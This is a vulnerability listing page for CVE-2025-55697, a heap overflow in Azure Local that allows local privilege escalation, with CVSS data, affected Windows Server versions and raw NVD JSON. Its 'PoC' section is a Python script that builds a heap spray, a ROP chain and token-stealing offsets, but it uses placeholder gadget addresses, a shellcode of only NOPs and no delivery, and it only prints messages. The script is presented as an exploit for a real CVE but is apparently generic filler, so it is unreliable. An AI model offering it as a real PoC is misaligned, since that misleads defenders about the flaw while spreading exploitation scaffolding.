Security Vulnerability Report
中文
CVE-2025-55697 CVSS 7.8 HIGH

CVE-2025-55697

Published: 2025-10-14 17:15:52
Last Modified: 2025-10-30 21:24:46

Description

Heap-based buffer overflow in Azure Local allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft Azure Local(所有未安装2025年10月安全更新的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55697 PoC - Azure Local Heap-based Buffer Overflow # Vulnerability: Heap-based buffer overflow leading to local privilege escalation # Target: Microsoft Azure Local import struct import sys # Buffer overflow payload generator for CVE-2025-55697 # This PoC demonstrates the exploitation technique for the heap-based # buffer overflow vulnerability in Azure Local components. VULNERABLE_COMPONENT = "Azure Local Cluster Service" TARGET_PROCESS = "svchost.exe" # Host process for Azure Local services # Heap spray configuration HEAP_SPRAY_SIZE = 0x10000 # 64KB chunks SPRAY_COUNT = 0x1000 # Number of spray iterations # ROP gadget offsets (example - actual gadgets vary by OS version) ROP_POP_RCX = 0x0000000000401234 ROP_POP_RDX = 0x0000000000405678 ROP_POP_RAX = 0x0000000000409ABC ROP_MOV_CR4 = 0x000000000041DEF0 # Token stealing shellcode offset TOKEN_STEAL_OFFSET = 0x0000000000420000 def create_overflow_payload(buffer_size=512, overflow_amount=256): """ Create a heap-based buffer overflow payload. The payload overwrites adjacent heap metadata and objects to achieve arbitrary code execution. """ # Normal data to fill the legitimate buffer payload = b"A" * buffer_size # Overflow data - overwrite heap chunk header and adjacent objects # Heap chunk header (varies by Windows heap implementation) payload += struct.pack("<Q", 0x4141414141414141) # Previous size payload += struct.pack("<Q", 0x4242424242424242) # Size field # Overwrite function pointer or vtable pointer payload += struct.pack("<Q", TOKEN_STEAL_OFFSET) # ROP chain for privilege escalation payload += struct.pack("<Q", ROP_POP_RCX) payload += struct.pack("<Q", 0x0000000000000000) payload += struct.pack("<Q", ROP_POP_RAX) payload += struct.pack("<Q", 0x0000000000000000) payload += struct.pack("<Q", ROP_MOV_CR4) # NOP sled + shellcode payload += b"\x90" * overflow_amount return payload def heap_spray(): """ Spray the heap with controlled data to increase the reliability of the exploit. """ spray_data = b"\x90" * HEAP_SPRAY_SIZE spray_data += create_overflow_payload() return spray_data * SPRAY_COUNT def exploit(): """ Main exploit routine for CVE-2025-55697. Requires local low-privilege access to the target system. """ print(f"[*] Targeting: {VULNERABLE_COMPONENT}") print(f"[*] Target process: {TARGET_PROCESS}") print(f"[*] Generating heap overflow payload...") payload = create_overflow_payload() spray = heap_spray() print(f"[+] Payload size: {len(payload)} bytes") print(f"[+] Heap spray size: {len(spray)} bytes") print(f"[*] Triggering vulnerability via crafted input...") # In actual exploitation, the payload would be delivered through # the vulnerable Azure Local component's input handling mechanism. # This typically involves interacting with a local service or API # that processes user-supplied data without proper bounds checking. print("[!] Note: Actual exploitation requires specific knowledge") print("[!] of the target environment and memory layout.") print("[!] Apply Microsoft security updates immediately.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55697", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:51.510", "lastModified": "2025-10-30T21:24:46.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Azure Local allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55697", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}